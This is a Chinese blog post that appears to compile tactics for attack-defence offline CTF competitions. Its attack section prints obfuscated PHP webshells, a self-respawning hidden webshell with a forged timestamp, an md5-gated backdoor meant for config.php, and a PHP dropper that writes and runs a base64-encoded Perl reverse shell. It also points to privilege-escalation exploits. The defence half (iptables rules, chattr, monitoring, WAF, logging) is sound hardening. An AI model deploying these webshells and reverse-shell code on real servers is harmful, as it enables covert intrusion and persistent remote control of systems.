随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,常见为 AWD:Attack With Defence+公共高地、内网渗透等形式。
由于前段时间准备线下赛时,看了许多大佬们总结的套路,他们各种骚操作让我学到了许多,所以就想把几篇我觉得比较好的总结一下,一来方便自己比赛前回顾一下,二来跟大家分享,希望能对各位CTF朋友们有所帮助。
之后如果学到什么新姿势,我有时间也会update上来和大家分享:)
比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。
具体规则以具体比赛规则为准,但一般大同小异
网络拓扑如下图所示(示例):
首先先理清好网络拓扑关系,节点与各链路之间的关联,方便下一步和队友配合,要不然不知道对手在哪就GG。
线下赛一般3人左右,2人攻击,1人防御,因为发现的漏洞可以攻击其他队伍,也要进行修复,所以攻防相辅相成,以攻为守。
一般来说,比赛中每个队伍需要维护多个靶机,web、二进制等,也可以每人负责一台,各自负责攻击和防御。
常规的CTF线下攻防思路:
一般比赛都通过ssh连接服务器,拿到网络拓扑图后,和队友进行分工,一个人检查有没有弱口令(弱口令的问题几乎是必考),有的话对密码进行修改(越复杂越好,当然前提是自己也方便)。web后台也很有可能存在弱口令,一般都是admin/admin
,admin/123456
,test/test
等等,同样需要立即修改,并将情况反馈给队友,凭着你的手速修改其他队伍的后台口令,为本队所用,甚至有些严重的可以利用后台getshell。
与此同时,还需要(一定要!必须要!)有人在比赛开始后第一时间备份服务器中web目录下的文件(/var/www/html
)。这是自我审计的基础,也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。有的比赛可以提供3次左右的恢复初始设置的机会(但一般会伴随着扣分为代价),有的比赛不提供,所以备份十分重要。
可以用scp命令,也可用一些图形化的工具:Winscp,MobaXterm等,操作起来比较方便。
接着就是上WAF、文件监控、端口扫描。将这几个工作分工好,顺序就像图上。
在AWD中,一般都需要专门防御加固自己服务器的环节,但加固的很多操作都会涉及到root权限,如果直接给root权限最好,但一般只会给一个普通权限账号,这时候往往就需要给服务器提权了。关于提权,通常我们要根据kernel版本号找到对应的poc,平时我们可以收集测试一些比较新的提权poc,以备不时之需。
Linux_Local_Root_Exploits :这网站收集了许多linux本地提权的poc。 linux-kernel-exploits(github) :一个挺全的提权exp项目,收集了04年至今的exp,并按年份和CVE归类
下面分享几个最近两年并且影响范围比较大的:
我收集了一些提权的脚本工具集,可作参考:https://github.com/edwardchoijc/ctf-toolkit/Linux/getROOT
如果是在同个C段,或者B段,均可以使用扫描器进行扫描得出。还要记得扫端口,这很重要,当然这个端口扫描是建立在没有自己靶机权限的情况下。用nmap也行,自己写的脚本或者网上找的也行。
有的比赛环境,为了照顾比较菜的选手,预留了一句话后门,可以利用这个漏洞迅速打一波,还可以视情况“搅屎”,利用这个漏洞一直维持权限,每轮都得分。
将整个web目录下载到本地,使用hm.exe、D盾或者别的扫描工具可以扫描得出(如果预留)
发现后门后,第一时间删除,同时利用这个漏洞发起第一波攻击,如果利用菜刀连,显然不够优雅,还没连完,人家估计都删的差不多了,因此这个漏洞虽然是送分,但拼的是手速,因此得提前准备好脚本
代码审计是攻防一体的工作,当发现漏洞时,修补的同时跟进攻的队友商讨如何利用
控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。
比较好的一句话:
<?php
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置为?b=))99(rhC(tseuqeR+lave
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
配置为n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
,连接密码为0
(数字)
当我们通过某个漏洞批量上传了很多的webshell后,可能想要批量传个后门以备后用。这时我们可以通过用脚本批量上传来提高效率:batch_upload_file
上面说到利用预留后门可以维持权限,主要有两种,一种是“不死马”,另一种是反弹shell
“不死马”
<?php
set_time_limit(0);
ignore_user_abort(true);
$file = '.demo.php';
$shell = "<?php $_hR=chr(99).chr(104).chr(114);$_cC=$_hR(101).$_hR(118).$_hR(97).$_hR(108).$_hR(40).$_hR(36).$_hR(95).$_hR(80).$_hR(79).$_hR(83).$_hR(84).$_hR(91).$_hR(49).$_hR(93).$_hR(41).$_hR(59);$_fF=$_hR(99).$_hR(114).$_hR(101).$_hR(97).$_hR(116).$_hR(101).$_hR(95).$_hR(102).$_hR(117).$_hR(110).$_hR(99).$_hR(116).$_hR(105).$_hR(111).$_hR(110);$_=$_fF("",$_cC);@$_();?>";
//$_hR='chr'
//$_cC='eval($_POST[1]);'
//$_fF='create_function'
while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');
touch(".demo.php", mktime(11,11,11,11,11,2018));
usleep(50);
}
?>
利用预留后门,上传上面的“不死马”并访问,就会一直生成.demo.php
的一句话木马,木马内容可以自行修改,只要别被其他队伍看懂就行。
文件名前加一个点,能更好地隐藏文件
想要结束这个进程,除了最暴力的重启服务之外,更为优雅的如下:
<?php
while (1) {
$pid=1234;
@unlink('.demo.php');
exec('kill -9 $pid');
}
?>
先查看进程,查看对应的pid,再执行即可。
md5马+header
<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test= 'flag';
header("flag:$test");
}
?>
放进config.php
效果最好,因为一般很少人去看这个。
反弹shell
<?php
function which($pr){
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe){
$res = '';
if ($cfe){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = '';
while(!@feof($f)){
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "127.0.0.1";
$yourport = '9999';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
/*
base64加密内容如下:
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
*/
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,之后就可以一直得分了
我们先总结一下线下赛的防护工作中常用的一些命令
ssh <-p 端口> username@ip
scp 文件路径 username@ip:存放路径
cat /root/.bash_history
#显示最近登录的5个帐号
last -n 5|awk '{print $1}'
#显示/etc/passwd的账户
cat /etc/passwd|awk -F ':' '{print $1}'
#查看UID为0的帐号
awk -F: '{if($3==0)print $1}' /etc/passwd
#查找777的权限的文件
find . -name "*.php" -perm 4777
#查找24小时内被修改的PHP文件
find ./ -mtime 0 -name "*.php"
#查看进程
ps aux | grep pid或者进程名
#查看已建立的网络连接及进程
netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>
pkill <进程名>
pkill -u用户名
#封杀某个IP或者ip段
iptables -I INPUT -s source_ip[/mask] -j DROP
#禁止从某个主机ssh远程访问登陆到本机
iptable -t filter -A INPUT -s source_ip[/mask] -p tcp --dport 22 -j DROP
#备份mysql数据库
mysqldump -u 用户名 -p 密码 数据库名 > bak.sql
mysqldump --all-databases > bak.sql
#还原mysql数据库
mysql -u 用户名 -p 密码 数据库名 < bak.sql
#定时任务,在固定的时间间隔执行指定的系统指令或shell script
crontab [-u user] file_name
crontab [-u user] [-e |-l| -r]
#检测所有的tcp连接数量及状态
netstat -ant|awk|grep|sed -e -e|sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log|cut -f1 -d|sort|uniq -c|sort -k -r|head -
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log|cut -f4 -d|sort|uniq -c|sort -k -r|head -
为了监控我们的web目录,我们可以对文件的增加或修改等操作进行限制,粗暴一点的话,就禁止任何文件产生变化。
chattr +i
命令
Linux下的文件有着隐藏属性,可以用lsattr
命令查看。其中有一个i
属性,表示不得更动任意文件或目录。如果你已经有root
或者sudo
权限了,那么你可以使用chattr +i
修改文件隐藏属性,这样所有用户都不能对该文件或者目录进行修改删除等操作(包括root
),如果想进行修改,必须用chattr -i
取消隐藏属性。
e.g.
防止系统中某个关键文件被修改:chattr +i /etc/profile
将/var/www/html目录下的文件设置为不允许任何人修改: chattr -R +i /var/www/html
sudo pythonXXX setup.py install
使用方法:python -m pyinotify monitoring_path
但由于监控事件太过杂,很多并不是我们关注的,并且我们不仅仅要监控,还需要对某些操作进行自动处理,因此我们可以用脚本针对性地实现我们需要的功能:monitor_withPyinotify。网络防护一定少不了 iptables了,但使用iptables需要有管理员权限。对于比赛环境,我们完全可以配置一个近乎苛刻的配置防火墙策略。
只开放一些比赛的必要端口,也可以防止后门的连接
#开放ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#打开80端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#开启多端口简单用法
iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#允许外部访问本地多个端口 如8080,8081,8082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT
限制ssh登陆,进行访问控制
#禁止从xx.xx.xx.xx远程登陆到本机
iptables -t filter -A INPUT -s xx.xx.xx.xx -p tcp --dport 22 -j DROP
#允许xx.xx.xx.xx网段远程登陆访问ssh
iptables -A INPUT -s xx.xx.xx.1/24 -p tcp --dport 22 -j ACCEPT
限制IP连接数和连接速率
我们可以限制IP的网络连接数和速度等,限制过快的连接频率,这样可以在一定程度上限制对方的扫描器。狠一点的话,甚至可以让对方只能以手工点网页的速度与访问
#单个IP的最大连接数为 30
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#单个IP在60秒内只允许最多新建15个连接
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#允许外部访问本机80端口,且本机初始只允许有10个连接,每秒新增加2个连接,如果访问超过此限制则拒接 (此方式可以限制一些攻击)
iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
再猥琐一点,可以定时断开已经建立的连接,让对方只能断断续续的访问
数据包简单识别,防止端口复用类的后门或者shell
假设病毒木马程序通过22
,80
端口向服务器外传送数据,这种方式向外发的数据不是我们通过访问网页请求而回应的数据包。我们可以禁止这些没有通过请求回应的数据包。
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT
限制访问
如果对方来势太凶,我们可以限制或者封杀他们的ip段。
#禁止从客户机1.1.1.4访问1.1.1.5上的任何服务
iptable -t filter -A FORWARD -s 1.1.1.4 -d 1.1.1.5 -j DROP
#封杀1.1.1.4这个IP或者某个ip段
iptables -I INPUT -s 1.1.1.4 -j DROP
iptables -I INPUT -s 1.1.1.1/24 -j DROP
过滤异常报文
iptables有一个TCP匹配扩展协议–tcp-flags,功能是过滤TCP中的一些包,比如SYN包,ACK包,FIN包,RST包等等。举个例子,我们知道SYN是建立连接,RST是重置连接,如果这两个同时出现,就知道这样的包是有问题的,应该丢弃。下面的例子是利用–tcp-flags参数,对一些包进行标识过滤,扔掉异常的数据包。
#表示 SYN,FIN,ACK,RST的标识都检查,但只匹配SYN标识
iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN
#匹配SYN标识位
iptables -A INPUT -p tcp --syn
#检查所有的标识位,匹配到FIN URG PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
#丢弃没标志位的包
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
#匹配到SYN ACK FIN URG RST PSH的丢弃(类似的操作自行举一反三)
iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG,PSH -j DROP
#匹配到 SYN,RST的丢弃
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
防DDOS
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
-m limit
:启用limit扩展–limit 20/minute
:允许最多每分钟10个连接–limit-burst 100
:当达到100个连接后,才启用上述20/minute限制
丢弃陌生的TCP响应包,防止反弹式攻击
iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP
iptables
版本,一些参数的用法可以会有略微的差异,使用时我们可能要根据需要进行修改。CTF比赛中修复漏洞主要就是为了防止其他队伍的入侵了。
upload
等这种功能调用函数。可以使用第三方软件的话,装个安全狗之类的吧。
下载链接:http://www.safedog.cn/website_safedog.html
也可以搜集或者自己实现一些脚本或者工具备用。
本人收集的一些WAF:https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF
使用方法:
\phpcms\base.php
\data\sql_config.php
\data\common.inc.php
\config\config_global.php
\wp-config.php
\include\head.php
require_once('waf.php');
php.ini
中找到并添加:Automatically add files before or after any PHP document.
auto_prepend_file = waf.php的路径;
sudo find /var/www/html/path_you_want -type f -path "*.php" | xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/waf.php');\n/g"
#意思就是查找需要加waf的目录下所有php文件,在头部添加一句,用require_once函数引入/tmp/waf.php文件。因为sed命令利用 / 区分文件中的原字符串和修改的字符串,所以我们要对 / 进行转义。类似于在单引号中再次使用单引号时我们也要用反斜杠转义。
最后,提醒:需要注意的是,部署waf可能会导致服务不可用,部署后要密切留意自己服务器的状态。
通过对流量、日志的分析,可以:
tcpdump -s 0 -w flow_log.pcap port 9999
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"];//记录访问者的ip
$filename = $_SERVER['PHP_SELF'];//访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"];//访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD'];//请求方法
$time = date('Y-m-d H:i:s',time());//访问时间
$post = file_get_contents("php://input",'r');//接收POST数据
$others = '...其他你想得到的信息...';
$logadd = '访问时间:'.$time.'-->'.'访问链接:http://'.$ip.$filename.'?'.$parameter.'请求方法:'.$method."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fwrite($fh,print_r($_COOKIE, true)."\r\n");
fwrite($fh,$others."\r\n");
fclose($fh);
?>
如果说很不幸,我们前面的关卡都被突破了(实际上我都感觉前面那些设置都有点“搅屎”的味道了,不过还是希望师傅们能一起来讨论讨论有没有什么骚姿势,以及绕过它们的方法)。假设真的被突破了,对于CTF线下赛来说,我们最终的目的都是拿到flag。通常我们会在服务器上执行类似于getflag
命令,或者curl
访问某个url获取flag,然后获取到一个字符串,然后在答题平台上提交这段字符串即可获取分数。但有时候getflag时因为webshell丢了或其他原因,会导致服务器显示Error,那我们是不是可以故意利用这种报错来欺骗不细心的竞争对手呢?
怎样实现?比如我们可以添加alias
别名,或者我们可以把这些命令更改或者替换掉,换成一些伪装命令程序。再换一层想想,接着上面的思路,如果我们替换或者伪装了系统命令,对方getshell之后,进来发现cd
,ls
等命令都没法用,会怎么样呢?
线下赛可以直接使用<?php echo system("curl 10.0.0.2"); ?>
之类的
或者
#!/bin/bash
while true
do
flag=$(curl 'http://xx.xx.xx.xx:8080')
curl --cookie "PHPSESSID=YourCookie;" --data "key="${flag} "http://XX.XX.XX.XX/index.php/submit"
sleep 1s
done
批量提交flag
#!/usr/bin/env python
import sys
import json
import urllib
import httplib
server_host = 'xx.xx.xx.xx'
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
if not team_token or not flag:
raise Exception('team token or flag not found')
conn = httplib.HTTPConnection(host, port, timeout=timeout)
params = urllib.urlencode({
'token': team_token,
'flag': flag,
})
headers = {
"Content-type": "application/x-www-form-urlencoded"
}
conn.request('POST', '/api/submit_flag', params, headers)
response = conn.getresponse()
data = response.read()
return json.loads(data)
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: ./submitflag.py $team_token $flag'
sys.exit()
host = server_host
if len(sys.argv) > 3:
host = sys.argv[3]
print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)
http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/
https://www.anquanke.com/post/id/86984
http://tinyfisher.github.io/security/2017/10/02/CTF
https://edwardchoijc.github.io/CTF%E7%BA%BF%E4%B8%8BAWD%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93.html